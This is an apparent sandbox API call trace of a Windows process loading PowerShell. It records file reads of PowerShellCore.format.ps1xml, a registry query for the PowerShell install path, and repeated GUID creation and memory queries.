[0040.170] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0040.170] GetLastError () returned 0x0
[0040.170] GetFileType (hFile=0x300) returned 0x1
[0040.170] SetErrorMode (uMode=0x1) returned 0x1
[0040.170] GetFileType (hFile=0x300) returned 0x1
[0040.170] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.171] GetLastError () returned 0x0
[0040.171] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.172] GetLastError () returned 0x0
[0040.172] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.172] GetLastError () returned 0x0
[0040.173] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.173] GetLastError () returned 0x0
[0040.173] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.174] GetLastError () returned 0x0
[0040.174] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.175] GetLastError () returned 0x0
[0040.175] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.175] GetLastError () returned 0x0
[0040.175] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.176] GetLastError () returned 0x0
[0040.176] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.176] GetLastError () returned 0x0
[0040.177] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.178] GetLastError () returned 0x0
[0040.178] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.178] GetLastError () returned 0x0
[0040.178] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.178] GetLastError () returned 0x0
[0040.179] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.179] GetLastError () returned 0x0
[0040.179] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.179] GetLastError () returned 0x0
[0040.180] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.180] GetLastError () returned 0x0
[0040.180] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.180] GetLastError () returned 0x0
[0040.180] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.182] GetLastError () returned 0x0
[0040.184] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.185] GetLastError () returned 0x0
[0040.185] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.185] GetLastError () returned 0x0
[0040.186] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.186] GetLastError () returned 0x0
[0040.186] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0040.186] GetLastError () returned 0x0
[0040.186] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0xe67, lpOverlapped=0x0) returned 1
[0040.187] GetLastError () returned 0x0
[0040.187] ReadFile (in: hFile=0x300, lpBuffer=0x274e4cb, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274e4cb*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.187] GetLastError () returned 0x0
[0040.187] ReadFile (in: hFile=0x300, lpBuffer=0x274eec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x274eec4*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0040.187] GetLastError () returned 0x0
[0040.187] CloseHandle (hObject=0x300) returned 1
[0040.187] GetLastError () returned 0x0
[0040.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0040.187] GetLastError () returned 0x0
[0040.187] SetErrorMode (uMode=0x1) returned 0x1
[0040.187] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x276f754 | out: lpFileInformation=0x276f754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1
[0040.187] GetLastError () returned 0x0
[0040.187] SetErrorMode (uMode=0x1) returned 0x1
[0040.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0040.188] GetLastError () returned 0x0
[0040.188] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0040.188] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0040.188] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0040.188] RegCloseKey (hKey=0x300) returned 0x0
[0040.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0040.188] GetLastError () returned 0x0
[0040.188] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0040.188] GetLastError () returned 0x0
[0040.193] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x4a2896b2, Data2=0xe17, Data3=0x4863, Data4=([0]=0xaf, [1]=0x88, [2]=0x83, [3]=0x1, [4]=0x1c, [5]=0xec, [6]=0x86, [7]=0x5))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x289cb646, Data2=0x6101, Data3=0x41f5, Data4=([0]=0x91, [1]=0xc5, [2]=0xd, [3]=0xcf, [4]=0xf0, [5]=0x69, [6]=0x5e, [7]=0x33))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9e2a498a, Data2=0xffd0, Data3=0x49fc, Data4=([0]=0xa9, [1]=0xc4, [2]=0xb8, [3]=0x2e, [4]=0x8f, [5]=0xe5, [6]=0xb4, [7]=0xf2))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x3b73425d, Data2=0x7afb, Data3=0x487b, Data4=([0]=0xb2, [1]=0x15, [2]=0xe2, [3]=0x7d, [4]=0x4, [5]=0x59, [6]=0x1, [7]=0x60))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9b3120f0, Data2=0x5b75, Data3=0x42d9, Data4=([0]=0xba, [1]=0xf4, [2]=0xa2, [3]=0x24, [4]=0x4c, [5]=0x64, [6]=0xb4, [7]=0x4e))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe07f8cf4, Data2=0x9b1e, Data3=0x4ee5, Data4=([0]=0xa8, [1]=0x4d, [2]=0xdb, [3]=0x56, [4]=0xf4, [5]=0xac, [6]=0x8f, [7]=0xd8))) returned 0x0
[0040.194] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xec6b1ce6, Data2=0x52f2, Data3=0x43b9, Data4=([0]=0xbf, [1]=0xf6, [2]=0x2a, [3]=0x4f, [4]=0x3d, [5]=0xd7, [6]=0x9f, [7]=0x77))) returned 0x0
[0040.195] VirtualQuery (in: lpAddress=0x16d3a0, lpBuffer=0x16e3a0, dwLength=0x1c | out: lpBuffer=0x16e3a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.195] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xdef449d6, Data2=0x6855, Data3=0x40bc, Data4=([0]=0x89, [1]=0x4c, [2]=0x76, [3]=0xfb, [4]=0xe5, [5]=0x5d, [6]=0x1c, [7]=0xec))) returned 0x0
[0040.195] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfe534a75, Data2=0x42d6, Data3=0x42b6, Data4=([0]=0x97, [1]=0x6d, [2]=0x6d, [3]=0xeb, [4]=0xf7, [5]=0x63, [6]=0x18, [7]=0x5c))) returned 0x0
[0040.195] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x339ad585, Data2=0x997d, Data3=0x4182, Data4=([0]=0x8f, [1]=0xde, [2]=0x0, [3]=0x4e, [4]=0x3c, [5]=0x3e, [6]=0xfc, [7]=0xd6))) returned 0x0
[0040.195] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1fe2bf11, Data2=0x41c1, Data3=0x4f2b, Data4=([0]=0xa3, [1]=0x86, [2]=0x18, [3]=0x4a, [4]=0xbd, [5]=0xcc, [6]=0x56, [7]=0x4a))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x43f76cb4, Data2=0x5e30, Data3=0x426c, Data4=([0]=0xbf, [1]=0xa9, [2]=0xcd, [3]=0x8b, [4]=0x6c, [5]=0x1d, [6]=0xc6, [7]=0xcb))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x32bbce53, Data2=0x7950, Data3=0x44be, Data4=([0]=0x86, [1]=0x12, [2]=0x53, [3]=0xb3, [4]=0xa2, [5]=0x7b, [6]=0xaa, [7]=0x27))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa8355cac, Data2=0xb11d, Data3=0x4249, Data4=([0]=0x9f, [1]=0x1, [2]=0xcf, [3]=0xdb, [4]=0x63, [5]=0x84, [6]=0xa4, [7]=0x8b))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xaa048342, Data2=0x6667, Data3=0x4d0d, Data4=([0]=0xb5, [1]=0x61, [2]=0xd2, [3]=0x41, [4]=0x7c, [5]=0x43, [6]=0x28, [7]=0x76))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfd45bdf9, Data2=0xb2d4, Data3=0x40b2, Data4=([0]=0xa5, [1]=0xaa, [2]=0xbb, [3]=0x68, [4]=0x50, [5]=0x34, [6]=0xed, [7]=0xc4))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xf082fc63, Data2=0x68f3, Data3=0x431b, Data4=([0]=0x84, [1]=0xe1, [2]=0x60, [3]=0xc1, [4]=0x71, [5]=0x16, [6]=0x8f, [7]=0x7))) returned 0x0
[0040.196] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x3d02800b, Data2=0x940f, Data3=0x4278, Data4=([0]=0xbf, [1]=0x84, [2]=0xe2, [3]=0x71, [4]=0xe8, [5]=0xb7, [6]=0x22, [7]=0x83))) returned 0x0
[0040.197] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc374b0a0, Data2=0xda9f, Data3=0x4431, Data4=([0]=0xb1, [1]=0xc1, [2]=0xf4, [3]=0xc7, [4]=0x1c, [5]=0x59, [6]=0xbc, [7]=0xc8))) returned 0x0
[0040.197] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.197] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.198] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.198] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9b21a71d, Data2=0x3bbc, Data3=0x40a0, Data4=([0]=0xaa, [1]=0x24, [2]=0x79, [3]=0xb, [4]=0xe9, [5]=0xde, [6]=0xe3, [7]=0x94))) returned 0x0
[0040.198] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x2b8891ce, Data2=0x5adc, Data3=0x40f1, Data4=([0]=0xbd, [1]=0xd0, [2]=0x1, [3]=0x9c, [4]=0xd8, [5]=0xbb, [6]=0xc3, [7]=0x79))) returned 0x0
[0040.198] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x8c96c6ef, Data2=0x8872, Data3=0x4ea0, Data4=([0]=0x95, [1]=0x10, [2]=0x68, [3]=0x5c, [4]=0x73, [5]=0xfe, [6]=0x9c, [7]=0xc7))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x35df9b2b, Data2=0x53bf, Data3=0x46b8, Data4=([0]=0x88, [1]=0x60, [2]=0xd, [3]=0xbe, [4]=0x7d, [5]=0xaa, [6]=0xbf, [7]=0x83))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x99b768b3, Data2=0x3f1d, Data3=0x48cc, Data4=([0]=0xba, [1]=0xc4, [2]=0x1e, [3]=0x53, [4]=0x96, [5]=0xa9, [6]=0x8e, [7]=0xef))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xea2f6601, Data2=0xd61d, Data3=0x403b, Data4=([0]=0xb6, [1]=0x65, [2]=0xc9, [3]=0xd1, [4]=0x75, [5]=0xd1, [6]=0x97, [7]=0xe8))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x2f7e5ee1, Data2=0xf0d7, Data3=0x4bc6, Data4=([0]=0x97, [1]=0xfe, [2]=0xdd, [3]=0xd9, [4]=0x2a, [5]=0x46, [6]=0x1d, [7]=0xbd))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa6c1a163, Data2=0xc282, Data3=0x444d, Data4=([0]=0x8e, [1]=0x77, [2]=0x7, [3]=0x5c, [4]=0xed, [5]=0x55, [6]=0x12, [7]=0xfe))) returned 0x0
[0040.199] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x80054095, Data2=0x2db0, Data3=0x4317, Data4=([0]=0x82, [1]=0xd9, [2]=0xcf, [3]=0x93, [4]=0x41, [5]=0x11, [6]=0x5a, [7]=0xa1))) returned 0x0
[0040.200] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xda18be67, Data2=0x1f2a, Data3=0x4f73, Data4=([0]=0x9b, [1]=0xb3, [2]=0x52, [3]=0x63, [4]=0xc3, [5]=0x59, [6]=0x1b, [7]=0x87))) returned 0x0
[0040.200] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x5fccc86a, Data2=0x9210, Data3=0x44fd, Data4=([0]=0x89, [1]=0x7f, [2]=0xae, [3]=0x40, [4]=0x11, [5]=0x48, [6]=0xee, [7]=0xa4))) returned 0x0
[0040.200] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xa74bd449, Data2=0x2aec, Data3=0x4bde, Data4=([0]=0x8f, [1]=0xaf, [2]=0x75, [3]=0xea, [4]=0x32, [5]=0xe3, [6]=0x23, [7]=0x3c))) returned 0x0
[0040.200] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1ff9cabc, Data2=0x44e, Data3=0x427a, Data4=([0]=0xa0, [1]=0x6c, [2]=0x77, [3]=0x7c, [4]=0xc5, [5]=0x63, [6]=0x57, [7]=0x34))) returned 0x0
[0040.200] VirtualQuery (in: lpAddress=0x16d3a0, lpBuffer=0x16e3a0, dwLength=0x1c | out: lpBuffer=0x16e3a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.200] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xb1d3e657, Data2=0x1d6d, Data3=0x4c03, Data4=([0]=0xad, [1]=0x1a, [2]=0x98, [3]=0xae, [4]=0x12, [5]=0xdb, [6]=0xbd, [7]=0xd5))) returned 0x0
[0040.200] VirtualQuery (in: lpAddress=0x16d3a0, lpBuffer=0x16e3a0, dwLength=0x1c | out: lpBuffer=0x16e3a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.203] VirtualQuery (in: lpAddress=0x16d3a0, lpBuffer=0x16e3a0, dwLength=0x1c | out: lpBuffer=0x16e3a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.206] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe328777d, Data2=0xdc1, Data3=0x4d2f, Data4=([0]=0x93, [1]=0x9, [2]=0xc7, [3]=0xc8, [4]=0xc8, [5]=0xda, [6]=0xa, [7]=0x1a))) returned 0x0
[0040.206] VirtualQuery (in: lpAddress=0x16d3a0, lpBuffer=0x16e3a0, dwLength=0x1c | out: lpBuffer=0x16e3a0*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.206] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9da437a2, Data2=0x1058, Data3=0x408d, Data4=([0]=0x8f, [1]=0xe6, [2]=0xac, [3]=0xf2, [4]=0x8e, [5]=0x99, [6]=0xf8, [7]=0x13))) returned 0x0
[0040.206] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xb0361a2e, Data2=0x75c2, Data3=0x40ce, Data4=([0]=0x94, [1]=0x99, [2]=0x61, [3]=0x23, [4]=0x34, [5]=0x5f, [6]=0xa4, [7]=0x99))) returned 0x0
[0040.206] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1229ce24, Data2=0x66b, Data3=0x4c5c, Data4=([0]=0x89, [1]=0x35, [2]=0x31, [3]=0xbf, [4]=0xfa, [5]=0xb9, [6]=0x11, [7]=0xa))) returned 0x0
[0040.206] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x341aeb2, Data2=0xdad7, Data3=0x4de2, Data4=([0]=0x86, [1]=0x37, [2]=0xcc, [3]=0xc, [4]=0xf2, [5]=0x6b, [6]=0x8a, [7]=0xdc))) returned 0x0
[0040.207] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x6ab336c7, Data2=0xa624, Data3=0x48f4, Data4=([0]=0x90, [1]=0x43, [2]=0xe8, [3]=0xf2, [4]=0x7e, [5]=0xd, [6]=0xb1, [7]=0xf6))) returned 0x0
[0040.207] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x9755d582, Data2=0xe999, Data3=0x4371, Data4=([0]=0xa5, [1]=0x60, [2]=0xc9, [3]=0xc4, [4]=0xe0, [5]=0xb4, [6]=0x1b, [7]=0x16))) returned 0x0
[0040.207] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xaf7b1fe5, Data2=0xe7bf, Data3=0x4a01, Data4=([0]=0x99, [1]=0x3a, [2]=0x11, [3]=0x2d, [4]=0x48, [5]=0x79, [6]=0xda, [7]=0xfb))) returned 0x0
[0040.207] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.208] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xe01e760, Data2=0x9cf6, Data3=0x4038, Data4=([0]=0xb7, [1]=0x88, [2]=0x7, [3]=0x63, [4]=0xd0, [5]=0x9b, [6]=0x3, [7]=0xaf))) returned 0x0
[0040.208] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x1eb16e6b, Data2=0x9a95, Data3=0x4a7a, Data4=([0]=0x92, [1]=0xc2, [2]=0xd1, [3]=0x38, [4]=0xf7, [5]=0x7a, [6]=0x5b, [7]=0x23))) returned 0x0
[0040.208] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x4d9991d5, Data2=0xfa9, Data3=0x43f1, Data4=([0]=0x83, [1]=0xa0, [2]=0xf0, [3]=0x28, [4]=0x24, [5]=0x7e, [6]=0x2b, [7]=0x4e))) returned 0x0
[0040.208] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x37d4e33b, Data2=0x8902, Data3=0x4bef, Data4=([0]=0x8a, [1]=0x46, [2]=0x30, [3]=0x1d, [4]=0xd0, [5]=0xe7, [6]=0xd6, [7]=0xc8))) returned 0x0
[0040.208] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0x5189c1cf, Data2=0xfc13, Data3=0x4138, Data4=([0]=0xa9, [1]=0xed, [2]=0xad, [3]=0xab, [4]=0x76, [5]=0x9a, [6]=0x2, [7]=0xd2))) returned 0x0
[0040.208] VirtualQuery (in: lpAddress=0x16d380, lpBuffer=0x16e380, dwLength=0x1c | out: lpBuffer=0x16e380*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0040.209] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xd9c10ea5, Data2=0xa038, Data3=0x4b47, Data4=([0]=0xa4, [1]=0x26, [2]=0x67, [3]=0x4a, [4]=0x56, [5]=0xae, [6]=0x9d, [7]=0x30))) returned 0x0
[0040.209] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc951b38d, Data2=0x1d6a, Data3=0x4c10, Data4=([0]=0x9b, [1]=0x78, [2]=0x37, [3]=0xf7, [4]=0xf9, [5]=0x84, [6]=0x87, [7]=0xec))) returned 0x0
